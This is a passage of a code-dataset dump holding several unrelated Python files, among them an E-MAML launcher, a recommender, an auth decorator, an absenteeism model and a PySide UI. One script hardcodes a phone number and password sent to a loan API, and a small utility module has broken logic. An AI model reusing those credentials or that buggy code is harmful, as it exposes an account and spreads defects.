E-MAML'.format(G=config.G))\n # elif config.G.run_mode == \"maml\":\n # print('{G.inner_alg} Vanilla MAML'.format(G=config.G))\n\n # todo: let's take the control of the log director away from the train script. It should all be set from outside.\n logger.configure(log_directory=config.RUN.log_directory, prefix=f\"run_maml-{config.G.seed}\")\n logger.log_params(\n RUN=vars(config.RUN),\n G=vars(config.G),\n Reporting=vars(config.Reporting),\n DEBUG=vars(config.DEBUG)\n )\n\n import sys\n print(\" \".join(sys.argv))\n\n tasks = MetaRLTasks(env_name=config.G.env_name, batch_size=config.G.n_parallel_envs,\n start_seed=config.G.start_seed,\n task_seed=config.G.task_seed,\n log_directory=(config.RUN.log_directory + \"/{seed}\") if config.G.render else None,\n max_steps=config.G.env_max_timesteps)\n\n test_tasks = MetaRLTasks(env_name=config.G.env_name, batch_size=config.G.n_parallel_envs,\n start_seed=config.G.test_start_seed,\n task_seed=config.G.test_task_seed,\n log_directory=(config.RUN.log_directory + \"/{seed}\") if config.G.render else None,\n max_steps=config.G.env_max_timesteps) if config.G.eval_test_interval \\\n else ExitStack()\n\n # with Dashboard(config.RUN.prefix, server=config.Reporting.plot_server,\n # port=config.Reporting.plot_server_port) as dash, U.single_threaded_session(), tasks, test_tasks:\n with U.make_session(num_cpu=config.G.n_cpu), tasks, test_tasks:\n # logger.on_dumpkvs(make_plot_fn(dash))\n maml = E_MAML(ob_space=tasks.envs.observation_space, act_space=tasks.envs.action_space)\n summary = tf.summary.FileWriter(config.RUN.log_directory, tf.get_default_graph())\n summary.flush()\n trainer = Trainer()\n U.initialize()\n trainer.train(tasks=tasks, maml=maml, test_tasks=test_tasks)\n # logger.clear_callback()\n\n tf.reset_default_graph()\n\n\ndef launch(**_G):\n from datetime import datetime\n now = datetime.now()\n config.G.update(_G)\n config.RUN.log_dir = \"http://54.71.92.65:8081\"\n config.RUN.log_prefix = f\"ge_maml/{now:%Y-%m-%d}\"\n\n\nif __name__ == '__main__':\n import traceback\n\n try:\n run_e_maml()\n except Exception as e:\n tb = traceback.format_exc()\n logger.print(tb)\n logger.print(U.ALREADY_INITIALIZED)\n raise e\n","sub_path":"playground/maml/maml_tf/scripts/run_maml.py","file_name":"run_maml.py","file_ext":"py","file_size_in_byte":4135,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"551542054","text":"import json\n\n# surprise utilities\nfrom surprise import Dataset, Reader, print_perf, evaluate\n# surprise algorithms\nfrom surprise import SVD, NMF, KNNBasic\n\ndef loadData(path, outputPath):\n\t### reads the json data at 'path' and generates a curator - item - rating data matrix file for surprise to use\n\t### fair warning: this generates like a 140MB file and takes a minute or so\n\t# load the data\n\twith open(path) as file:\n\t\tjsonData = json.load(file)\n\n\t# get all the items recommended by at least one curator\n\tallItems = set()\n\tfor itemList in jsonData.values():\n\t\tallItems = allItems.union(set(itemList))\n\n\t# get the list of curators\n\tcurators = jsonData.keys()\n\n\t# build the data matrix as a list of tuples of (curator, item, rating)\n\tdataMatrix = []\n\tfor c in curators:\n\t\tfor i in allItems:\n\t\t\tif i in jsonData[c]:\n\t\t\t\trecommended = '1'\n\t\t\telse:\n\t\t\t\trecommended = '0'\n\t\t\tdataMatrix.append( (c, i, recommended) )\n\n\t# write the data to a file because surprise needs to read from a file\n\twith open(outputPath, 'w') as dataMatrixFile:\n\t\tfor d in dataMatrix:\n\t\t\tline = '\\t'.join(d) + '\\n'\n\t\t\tdataMatrixFile.write(line)\n\ndef buildDataset(path):\n\t# build a dataset for surprise using the data matrix at the file at 'path'\n\treader = Reader(line_format='user item rating', sep='\\t')\n\tdata = Dataset.load_from_file(path, reader=reader)\n\tdata = data.build_full_trainset() # we will not be splitting for cross-validation; we are training on all this data\n\treturn data\n\nif __name__ == '__main__':\n\t# this whole process takes ~15-20 minutes on my laptop\n\t# define data file locations\n\trawData = '../get_curators_apps/curator_to_appids.json' # where we find the json with the curator data\n\tdataMatrixPath = 'dataMatrix.txt' # where we will write the data matrix to when we create it\n\n\t# get data\n\tprint('Getting data matrix')\n\tloadData(rawData, dataMatrixPath) # you can skip this if dataMatrix.txt already exists\n\tdata = buildDataset(dataMatrixPath)\n\n\t# train recommender\n\tprint('Training recommender')\n\talgo = SVD() # we can substitute another learning algorithm here\n\talgo.train(data)\n","sub_path":"recommend_games/recommendGames.py","file_name":"recommendGames.py","file_ext":"py","file_size_in_byte":2081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"380233955","text":"from functools import wraps\n\nfrom aiovalidator import abort\nimport sqlalchemy as sa\n\nfrom models.models import User\n\n\ndef auth(fn):\n @wraps(fn)\n async def wrapped(cls):\n headers = cls.request.headers\n if headers.get('X-Auth-Token'):\n token = headers['X-Auth-Token']\n conn = cls.request['conn']\n query = sa.select([User]).select_from(User).where(\n User.token == token)\n res = await conn.execute(query)\n user = await res.fetchone()\n\n if user:\n cls.request['user'] = user\n return await fn(cls)\n raise abort(status=401, text='Unauthorized')\n\n return wrapped\n","sub_path":"utils/auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"382672037","text":"\nimport tmcmc\nimport os\n\ndef setALLFalse(ModelParams):\n \"\"\"\n \"\"\"\n \n for par in ModelParams.keys():\n ModelParams[par]['open'] = False\n \n return ModelParams\n\n# Read data\nObservedData = tmcmc.mcmc.ReadMultiList('lclist.ls')\nNuisanceData = tmcmc.mcmc.ReadDetrendFile('NUS.ONOFF.data')\n\n# Read Start and Bound Parameter files\nModelParams = tmcmc.iomcmc.ReadStartParams('START.data')\nBoundParams = tmcmc.iomcmc.ReadBoundFile('BOUNDS.TEST.data')\n\n# Get the set of open parameters\nTrueParams = []\nfor par in ModelParams.keys():\n if ModelParams[par]['open']:\n TrueParams.append(par)\n \nNexploreSteps = 4e4\nfunc = 'MTQ_multidepth_tduration'\n\nfor par in TrueParams:\n ModelParams = setALLFalse(ModelParams)\n ModelParams[par]['open'] = True\n tmcmc.mcmc.mcmc_mh_adapt(NexploreSteps,func,\\\n ObservedData,ModelParams,NuisanceData,\\\n BoundParams,False,True,\\\n 'EXPLORE.TEST.'+par+'.mcmc',\\\n True)\n\nos.system('ls EXPLORE*.mcmc > ExploreList.ls')","sub_path":"test_protocol/03.01runexplore.py","file_name":"03.01runexplore.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"436151305","text":"import sys\n\n\ndef getLowerstVal(array):\n if array not in locals():\n return -1\n val = array[0]\n for i in array:\n if i < val:\n val = i\n return i\n\n\n# get all count\ndef getCount(array):\n if array not in locals():\n return -1\n count = 0\n for i in array:\n count += i\n return count\n\n\n# get avarage\ndef getAva(array):\n if array not in locals():\n return -1\n if getCount(array) > 0:\n return getCount(array) / len(array)\n\n\ndef countUniqe(array):\n for i in array:\n pass\n","sub_path":"app/util/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"31502264","text":"#推文內容丟入W2V找出前四名\r\n\r\nimport pandas as pd\r\nimport json\r\nimport glob\r\nfrom tqdm import tqdm\r\nfrom gensim.models import Word2Vec\r\nimport pickle\r\nimport numpy as np\r\nfrom Module_Clean import Clean\r\n\r\n#清洗資料\r\ndef clean_text(x):\r\n #print(text)\r\n #print('-------')\r\n text = Clean(x)\r\n text.Capitalize()\r\n text.DeletePunctuation()\r\n text.DeleteRedundant_Twitters()\r\n #print(text)\r\n return text.Text\r\n\r\n\r\ndef gen_keywords(start,end):\r\n total_date = pd.date_range(start,end,freq='d')\r\n ans = {}\r\n for dates in tqdm(total_date):\r\n #print(dates)\r\n ans_list = []\r\n all_similar = []\r\n date = dates.strftime('%Y%m%d')\r\n try:\r\n df = pd.read_json(f'./All_Data/2_weeks_twitters/{date}.json')\r\n df['clean_text'] = df.Text.apply(clean_text)\r\n string = [ ' '.join(df.clean_text.values).split() ]\r\n model = Word2Vec(string,min_count=2) #min_count多少代表這個字最少要出現幾次\r\n for all_word in model.wv.vocab.keys():\r\n similar = model.wv.most_similar(all_word)\r\n for i in similar:\r\n all_similar.append(i[0])\r\n value,count = np.unique(all_similar,return_counts=True)\r\n \r\n count_sort_ind = np.argsort(-count)\r\n value = value[count_sort_ind] ; count = count[count_sort_ind]\r\n for i in range(len(count)):\r\n ans_list.append( (value[i],count[i]/len(model.wv.vocab.keys())) )\r\n ans[date] = ans_list\r\n except:\r\n print(dates)\r\n pass\r\n with open('top_twitters_keys','wb')as f:\r\n pickle.dump(ans,f)\r\nif __name__ == '__main__': \r\n gen_keywords('2018-01-01','2020-07-08')","sub_path":"Twitters_gen_top_twitters_keys.py","file_name":"Twitters_gen_top_twitters_keys.py","file_ext":"py","file_size_in_byte":1773,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"33766399","text":"import requests\ndef cz_tx(url,data,token=None):\n header = {\"X-Lemonban-Media-Type\": \"lemonban.v2\",\n \"Authorization\":token}\n rec=requests.post(url,json=data,headers=header)\n rec_1=rec.json()\n return rec.json()\n\nlog_qqt={\"X-Lemonban-Media-Type\":\"lemonban.v2\"}\nlog_msg={'mobile_phone':15659070234,'pwd':123456789}\nlog_url=\"http://120.78.128.25:8766/futureloan/member/login\"\nresponse=cz_tx(url=log_url,data=log_msg)\n\n#充值\ntoken=response[\"data\"][\"token_info\"][\"token\"]\nrec_url = \"http://120.78.128.25:8766/futureloan/member/recharge\"\nrec_msg = {'member_id': '196343', 'amount': '50000'}\n\nprint(cz_tx(rec_url,rec_msg,\"Bearer \"+token ))\n\n","sub_path":"wwm/wwm.py","file_name":"wwm.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"353186888","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[5]:\n\n\nimport numpy as np\nimport pandas as pd\nimport pickle\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.base import BaseEstimator, TransformerMixin\n\n\nclass CustomScaler(BaseEstimator,TransformerMixin): \n \n \n def __init__(self,columns,copy=True,with_mean=True,with_std=True):\n self.scaler = StandardScaler(copy,with_mean,with_std)\n self.columns = columns\n self.mean_ = None\n self.var_ = None\n \n \n def fit(self, X, y=None):\n self.scaler.fit(X[self.columns], y)\n self.mean_ = np.mean(X[self.columns])\n self.var_ = np.var(X[self.columns])\n return self\n \n\n def transform(self, X, y=None, copy=None):\n \n init_col_order = X.columns\n X_scaled = pd.DataFrame(self.scaler.transform(X[self.columns]), columns=self.columns)\n X_not_scaled = X.loc[:,~X.columns.isin(self.columns)]\n return pd.concat([X_not_scaled, X_scaled], axis=1)[init_col_order]\n \nclass absenteeism_model():\n \n def __init__(self, model_file, scalar_file):\n with open('model', 'rb') as model_file, open('scalar', 'rb') as scalar_file:\n self.reg = pickle.load(model_file)\n self.scaler = pickle.load(scalar_file)\n self.data = None\n \n def load_and_clean_data(self, data_file):\n \n df = pd.read_csv(data_file, delimiter=',')\n self.df_with_predictions = df.copy()\n df = df.drop(['ID'], axis = 1)\n df['Absenteeism Time in Hours'] = 'NaN'\n \n reasons_columns = pd.get_dummies(df['Reason for Absence'], drop_first=True)\n \n reasons_columns_type1 = reasons_columns.loc[:,1:14].max(axis=1)\n reasons_columns_type2 = reasons_columns.loc[:,15:17].max(axis=1)\n reasons_columns_type3 = reasons_columns.loc[:,18:21].max(axis=1)\n reasons_columns_type4 = reasons_columns.loc[:,22:].max(axis=1)\n \n df = df.drop(['Reason for Absence'], axis=1)\n df = pd.concat([df, reasons_columns_type1, reasons_columns_type2, reasons_columns_type3, reasons_columns_type4], axis=1)\n \n column_names = ['Date', 'Transportation Expense', 'Distance to Work', 'Age',\n 'Daily Work Load Average', 'Body Mass Index', 'Education',\n 'Children', 'Pets', 'Absenteeism Time in Hours', 'Reason_1', 'Reason_2', 'Reason_', 'Reason_4']\n \n df.columns = column_names\n \n columns_names_reordered = [ 'Reason_1', 'Reason_2', 'Reason_', 'Reason_4', 'Date', 'Transportation Expense', 'Distance to Work', 'Age',\n 'Daily Work Load Average', 'Body Mass Index', 'Education',\n 'Children', 'Pets', 'Absenteeism Time in Hours']\n \n df = df[columns_names_reordered]\n \n df['Date'] = pd.to_datetime(df['Date'], format='%d/%m/%Y')\n \n \n def date_to_week(date_value):\n return date_value.weekday()\n \n df['Day of week'] = df['Date'].apply(date_to_week)\n \n df = df.drop(['Date'], axis=1)\n \n columns_names_upd = [ 'Reason_1', 'Reason_2', 'Reason_', 'Reason_4', 'Day of week','Transportation Expense', 'Distance to Work', 'Age',\n 'Daily Work Load Average', 'Body Mass Index', 'Education',\n 'Children', 'Pets', 'Absenteeism Time in Hours']\n \n df = df[columns_names_upd]\n \n df['Education'] = df['Education'].map({1:0, 2:1, 3:1, 4:1})\n \n df = df.fillna(value=0)\n \n df = df.drop(['Absenteeism Time in Hours'], axis=1)\n \n self.preprocessed_data = df.copy()\n \n self.data = self.scaler.transform(df)\n \n def predicted_probablity(self):\n if (self.data is not None):\n pred = self.reg.predict_proba(self.data)[:,1]\n return pred\n \n def predicted_output_category(self):\n if (self.data is not None):\n pred_outputs = self.reg.predict(self.data)\n return pred_outputs\n \n def predicted_outputs(self):\n if (self.data is not None):\n self.preprocessed_data['Probablity'] = self.reg.predict_proba(self.data)[:,1]\n self.preprocessed_data['Prediction'] = self.reg.predict(self.data)\n return self.preprocessed_data\n\n","sub_path":"sentee_module.py","file_name":"sentee_module.py","file_ext":"py","file_size_in_byte":4353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"78811173","text":"# uncompyle6 version 3.6.7\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.8.2 (tags/v3.8.2:7b3ab59, Feb 25 2020, 23:03:10) [MSC v.1916 64 bit (AMD64)]\n# Embedded file name: /usr/local/lib/python2.7/dist-packages/pydosh/ui_pydosh.py\n# Compiled at: 2014-02-11 15:22:03\nfrom PySide import QtCore, QtGui\n\nclass Ui_pydosh(object):\n\n def setupUi(self, pydosh):\n pydosh.setObjectName('pydosh')\n pydosh.resize(1092, 745)\n self.widget_6 = QtGui.QWidget(pydosh)\n self.widget_6.setObjectName('widget_6')\n self.gridLayout_4 = QtGui.QGridLayout(self.widget_6)\n self.gridLayout_4.setObjectName('gridLayout_4')\n self.widget_3 = QtGui.QWidget(self.widget_6)\n self.widget_3.setObjectName('widget_3')\n self.gridLayout_3 = QtGui.QGridLayout(self.widget_3)\n self.gridLayout_3.setContentsMargins(0, 0, 0, 0)\n self.gridLayout_3.setObjectName('gridLayout_3')\n spacerItem = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)\n self.gridLayout_3.addItem(spacerItem, 0, 3, 1, 1)\n self.groupBox_2 = QtGui.QGroupBox(self.widget_3)\n self.groupBox_2.setFlat(False)\n self.groupBox_2.setCheckable(False)\n self.groupBox_2.setObjectName('groupBox_2')\n self.gridLayout_5 = QtGui.QGridLayout(self.groupBox_2)\n self.gridLayout_5.setObjectName('gridLayout_5')\n self.label = QtGui.QLabel(self.groupBox_2)\n self.label.setLayoutDirection(QtCore.Qt.LeftToRight)\n self.label.setAlignment(QtCore.Qt.AlignRight | QtCore.Qt.AlignTrailing | QtCore.Qt.AlignVCenter)\n self.label.setObjectName('label')\n self.gridLayout_5.addWidget(self.label, 0, 0, 1, 1)\n self.endDateEdit = QtGui.QDateEdit(self.groupBox_2)\n self.endDateEdit.setObjectName('endDateEdit')\n self.gridLayout_5.addWidget(self.endDateEdit, 0, 1, 1, 2)\n self.label_2 = QtGui.QLabel(self.groupBox_2)\n self.label_2.setLayoutDirection(QtCore.Qt.LeftToRight)\n self.label_2.setAlignment(QtCore.Qt.AlignRight | QtCore.Qt.AlignTrailing | QtCore.Qt.AlignVCenter)\n self.label_2.setObjectName('label_2')\n self.gridLayout_5.addWidget(self.label_2, 1, 0, 1, 1)\n self.startDateEdit = QtGui.QDateEdit(self.groupBox_2)\n self.startDateEdit.setObjectName('startDateEdit')\n self.gridLayout_5.addWidget(self.startDateEdit, 1, 1, 1, 2)\n self.dateCombo = QtGui.QComboBox(self.groupBox_2)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.dateCombo.sizePolicy().hasHeightForWidth())\n self.dateCombo.setSizePolicy(sizePolicy)\n self.dateCombo.setObjectName('dateCombo')\n self.gridLayout_5.addWidget(self.dateCombo, 2, 1, 1, 2)\n self.gridLayout_3.addWidget(self.groupBox_2, 0, 0, 1, 1)\n self.groupBox = QtGui.QGroupBox(self.widget_3)\n self.groupBox.setObjectName('groupBox')\n self.gridLayout = QtGui.QGridLayout(self.groupBox)\n self.gridLayout.setObjectName('gridLayout')\n self.label_14 = QtGui.QLabel(self.groupBox)\n self.label_14.setLayoutDirection(QtCore.Qt.LeftToRight)\n self.label_14.setAlignment(QtCore.Qt.AlignRight | QtCore.Qt.AlignTrailing | QtCore.Qt.AlignVCenter)\n self.label_14.setObjectName('label_14')\n self.gridLayout.addWidget(self.label_14, 2, 2, 1, 1)\n self.label_6 = QtGui.QLabel(self.groupBox)\n self.label_6.setLayoutDirection(QtCore.Qt.LeftToRight)\n self.label_6.setAlignment(QtCore.Qt.AlignRight | QtCore.Qt.AlignTrailing | QtCore.Qt.AlignVCenter)\n self.label_6.setObjectName('label_6')\n self.gridLayout.addWidget(self.label_6, 3, 2, 1, 1)\n self.descEdit = SearchLineEdit(self.groupBox)\n self.descEdit.setObjectName('descEdit')\n self.gridLayout.addWidget(self.descEdit, 2, 3, 1, 1)\n self.inoutCombo = QtGui.QComboBox(self.groupBox)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.inoutCombo.sizePolicy().hasHeightForWidth())\n self.inoutCombo.setSizePolicy(sizePolicy)\n self.inoutCombo.setObjectName('inoutCombo')\n self.gridLayout.addWidget(self.inoutCombo, 2, 1, 1, 1)\n self.label_13 = QtGui.QLabel(self.groupBox)\n self.label_13.setAlignment(QtCore.Qt.AlignRight | QtCore.Qt.AlignTrailing | QtCore.Qt.AlignVCenter)\n self.label_13.setObjectName('label_13')\n self.gridLayout.addWidget(self.label_13, 2, 0, 1, 1)\n self.accountCombo = MultiComboBox(self.groupBox)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.accountCombo.sizePolicy().hasHeightForWidth())\n self.accountCombo.setSizePolicy(sizePolicy)\n self.accountCombo.setObjectName('accountCombo')\n self.gridLayout.addWidget(self.accountCombo, 1, 3, 1, 1)\n self.label_4 = QtGui.QLabel(self.groupBox)\n self.label_4.setAlignment(QtCore.Qt.AlignRight | QtCore.Qt.AlignTrailing | QtCore.Qt.AlignVCenter)\n self.label_4.setObjectName('label_4')\n self.gridLayout.addWidget(self.label_4, 1, 2, 1, 1)\n self.label_15 = QtGui.QLabel(self.groupBox)\n self.label_15.setLayoutDirection(QtCore.Qt.LeftToRight)\n self.label_15.setAlignment(QtCore.Qt.AlignRight | QtCore.Qt.AlignTrailing | QtCore.Qt.AlignVCenter)\n self.label_15.setObjectName('label_15')\n self.gridLayout.addWidget(self.label_15, 3, 0, 1, 1)\n self.tagsCombo = QtGui.QComboBox(self.groupBox)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.tagsCombo.sizePolicy().hasHeightForWidth())\n self.tagsCombo.setSizePolicy(sizePolicy)\n self.tagsCombo.setObjectName('tagsCombo')\n self.gridLayout.addWidget(self.tagsCombo, 3, 1, 1, 1)\n self.checkedCombo = QtGui.QComboBox(self.groupBox)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.checkedCombo.sizePolicy().hasHeightForWidth())\n self.checkedCombo.setSizePolicy(sizePolicy)\n self.checkedCombo.setObjectName('checkedCombo')\n self.gridLayout.addWidget(self.checkedCombo, 1, 1, 1, 1)\n self.label_3 = QtGui.QLabel(self.groupBox)\n self.label_3.setLayoutDirection(QtCore.Qt.LeftToRight)\n self.label_3.setAlignment(QtCore.Qt.AlignRight | QtCore.Qt.AlignTrailing | QtCore.Qt.AlignVCenter)\n self.label_3.setObjectName('label_3')\n self.gridLayout.addWidget(self.label_3, 1, 0, 1, 1)\n self.amountEdit = SearchLineEdit(self.groupBox)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.amountEdit.sizePolicy().hasHeightForWidth())\n self.amountEdit.setSizePolicy(sizePolicy)\n self.amountEdit.setObjectName('amountEdit')\n self.gridLayout.addWidget(self.amountEdit, 3, 3, 1, 1)\n self.gridLayout_3.addWidget(self.groupBox, 0, 2, 1, 1)\n self.gridLayout_4.addWidget(self.widget_3, 0, 0, 1, 1)\n self.widget_4 = QtGui.QWidget(self.widget_6)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Expanding)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.widget_4.sizePolicy().hasHeightForWidth())\n self.widget_4.setSizePolicy(sizePolicy)\n self.widget_4.setObjectName('widget_4')\n self.horizontalLayout_4 = QtGui.QHBoxLayout(self.widget_4)\n self.horizontalLayout_4.setContentsMargins(0, 0, 0, 0)\n self.horizontalLayout_4.setObjectName('horizontalLayout_4')\n self.groupBox_4 = QtGui.QGroupBox(self.widget_4)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(1)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.groupBox_4.sizePolicy().hasHeightForWidth())\n self.groupBox_4.setSizePolicy(sizePolicy)\n self.groupBox_4.setObjectName('groupBox_4')\n self._2 = QtGui.QVBoxLayout(self.groupBox_4)\n self._2.setObjectName('_2')\n self.widget = QtGui.QWidget(self.groupBox_4)\n self.widget.setObjectName('widget')\n self._4 = QtGui.QHBoxLayout(self.widget)\n self._4.setContentsMargins(0, -1, 0, -1)\n self._4.setObjectName('_4')\n self.toggleCheckButton = QtGui.QToolButton(self.widget)\n icon = QtGui.QIcon()\n icon.addPixmap(QtGui.QPixmap(':/icons/accept.png'), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n self.toggleCheckButton.setIcon(icon)\n self.toggleCheckButton.setObjectName('toggleCheckButton')\n self._4.addWidget(self.toggleCheckButton)\n self.reloadButton = QtGui.QToolButton(self.widget)\n icon1 = QtGui.QIcon()\n icon1.addPixmap(QtGui.QPixmap(':/icons/arrow_refresh.png'), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n self.reloadButton.setIcon(icon1)\n self.reloadButton.setObjectName('reloadButton')\n self._4.addWidget(self.reloadButton)\n self.deleteButton = QtGui.QToolButton(self.widget)\n icon2 = QtGui.QIcon()\n icon2.addPixmap(QtGui.QPixmap(':/icons/cross.png'), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n self.deleteButton.setIcon(icon2)\n self.deleteButton.setObjectName('deleteButton')\n self._4.addWidget(self.deleteButton)\n spacerItem1 = QtGui.QSpacerItem(703, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)\n self._4.addItem(spacerItem1)\n self.label_7 = QtGui.QLabel(self.widget)\n self.label_7.setLayoutDirection(QtCore.Qt.LeftToRight)\n self.label_7.setAlignment(QtCore.Qt.AlignRight | QtCore.Qt.AlignTrailing | QtCore.Qt.AlignVCenter)\n self.label_7.setObjectName('label_7')\n self._4.addWidget(self.label_7)\n self.scrolltoEdit = SearchLineEdit(self.widget)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.scrolltoEdit.sizePolicy().hasHeightForWidth())\n self.scrolltoEdit.setSizePolicy(sizePolicy)\n self.scrolltoEdit.setMinimumSize(QtCore.QSize(200, 0))\n self.scrolltoEdit.setObjectName('scrolltoEdit')\n self._4.addWidget(self.scrolltoEdit)\n self._2.addWidget(self.widget)\n self.tableView = QtGui.QTableView(self.groupBox_4)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.MinimumExpanding, QtGui.QSizePolicy.MinimumExpanding)\n sizePolicy.setHorizontalStretch(1)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.tableView.sizePolicy().hasHeightForWidth())\n self.tableView.setSizePolicy(sizePolicy)\n self.tableView.setObjectName('tableView')\n self._2.addWidget(self.tableView)\n self.widget_5 = QtGui.QWidget(self.groupBox_4)\n self.widget_5.setObjectName('widget_5')\n self.horizontalLayout_3 = QtGui.QHBoxLayout(self.widget_5)\n self.horizontalLayout_3.setContentsMargins(0, 0, 0, 0)\n self.horizontalLayout_3.setObjectName('horizontalLayout_3')\n self.connectionStatusText = QtGui.QLabel(self.widget_5)\n self.connectionStatusText.setObjectName('connectionStatusText')\n self.horizontalLayout_3.addWidget(self.connectionStatusText)\n spacerItem2 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)\n self.horizontalLayout_3.addItem(spacerItem2)\n self.label_10 = QtGui.QLabel(self.widget_5)\n self.label_10.setObjectName('label_10')\n self.horizontalLayout_3.addWidget(self.label_10)\n self.inTotalLabel = QtGui.QLabel(self.widget_5)\n self.inTotalLabel.setLineWidth(-1)\n self.inTotalLabel.setObjectName('inTotalLabel')\n self.horizontalLayout_3.addWidget(self.inTotalLabel)\n spacerItem3 = QtGui.QSpacerItem(28, 20, QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Minimum)\n self.horizontalLayout_3.addItem(spacerItem3)\n self.label_11 = QtGui.QLabel(self.widget_5)\n self.label_11.setObjectName('label_11')\n self.horizontalLayout_3.addWidget(self.label_11)\n self.outTotalLabel = QtGui.QLabel(self.widget_5)\n self.outTotalLabel.setObjectName('outTotalLabel')\n self.horizontalLayout_3.addWidget(self.outTotalLabel)\n spacerItem4 = QtGui.QSpacerItem(134, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)\n self.horizontalLayout_3.addItem(spacerItem4)\n self.label_12 = QtGui.QLabel(self.widget_5)\n self.label_12.setObjectName('label_12')\n self.horizontalLayout_3.addWidget(self.label_12)\n self.recordCountLabel = QtGui.QLabel(self.widget_5)\n self.recordCountLabel.setObjectName('recordCountLabel')\n self.horizontalLayout_3.addWidget(self.recordCountLabel)\n self._2.addWidget(self.widget_5)\n self.horizontalLayout_4.addWidget(self.groupBox_4)\n self.groupBox_3 = QtGui.QGroupBox(self.widget_4)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.groupBox_3.sizePolicy().hasHeightForWidth())\n self.groupBox_3.setSizePolicy(sizePolicy)\n self.groupBox_3.setObjectName('groupBox_3')\n self._3 = QtGui.QVBoxLayout(self.groupBox_3)\n self._3.setObjectName('_3')\n self.widget_2 = QtGui.QWidget(self.groupBox_3)\n self.widget_2.setObjectName('widget_2')\n self.horizontalLayout = QtGui.QHBoxLayout(self.widget_2)\n self.horizontalLayout.setContentsMargins(0, -1, -1, -1)\n self.horizontalLayout.setObjectName('horizontalLayout')\n self.addTagButton = QtGui.QToolButton(self.widget_2)\n icon3 = QtGui.QIcon()\n icon3.addPixmap(QtGui.QPixmap(':/icons/add.png'), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n self.addTagButton.setIcon(icon3)\n self.addTagButton.setObjectName('addTagButton')\n self.horizontalLayout.addWidget(self.addTagButton)\n self.removeTagButton = QtGui.QToolButton(self.widget_2)\n icon4 = QtGui.QIcon()\n icon4.addPixmap(QtGui.QPixmap(':/icons/delete.png'), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n self.removeTagButton.setIcon(icon4)\n self.removeTagButton.setObjectName('removeTagButton')\n self.horizontalLayout.addWidget(self.removeTagButton)\n spacerItem5 = QtGui.QSpacerItem(60, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)\n self.horizontalLayout.addItem(spacerItem5)\n self._3.addWidget(self.widget_2)\n self.tagView = TagTableView(self.groupBox_3)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Expanding)\n 